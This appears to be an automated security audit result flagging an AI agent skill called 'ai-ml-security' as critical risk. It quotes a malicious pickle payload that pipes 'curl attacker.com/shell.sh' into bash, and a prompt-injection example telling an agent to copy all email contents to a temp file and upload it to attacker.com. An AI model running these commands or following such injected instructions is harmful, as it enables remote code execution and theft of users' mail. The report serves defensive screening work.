ai-ml-security
Fail
Audited by Gen Agent Trust Hub on Jul 21, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONCOMMAND_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: Section 1.1 includes a Python code snippet that creates a malicious pickle file. The payload uses
os.systemto execute a remote script viacurl attacker.com/shell.sh | bash, which allows for arbitrary code execution on the host system. - [DATA_EXFILTRATION]: Section 7.1 provides an example of prompt injection targeting an autonomous agent. The instruction directs the agent to read all email contents to a temporary file and then exfiltrate that data to
https://attacker.com/upload?file=/tmp/exfil.txt. This specific URL has been flagged as malicious/phishing by automated scanning tools. - [COMMAND_EXECUTION]: The skill explicitly documents the use of dangerous Python functions like
os.systemandpickle.loadwithout safety constraints to demonstrate exploitation of model supply chains.
Recommendations
- CRITICAL: 1 file(s) identified as malware by FileRep - DO NOT USE
- AI detected serious security threats
- Contains 1 malicious URL(s) - DO NOT USE
Audit Metadata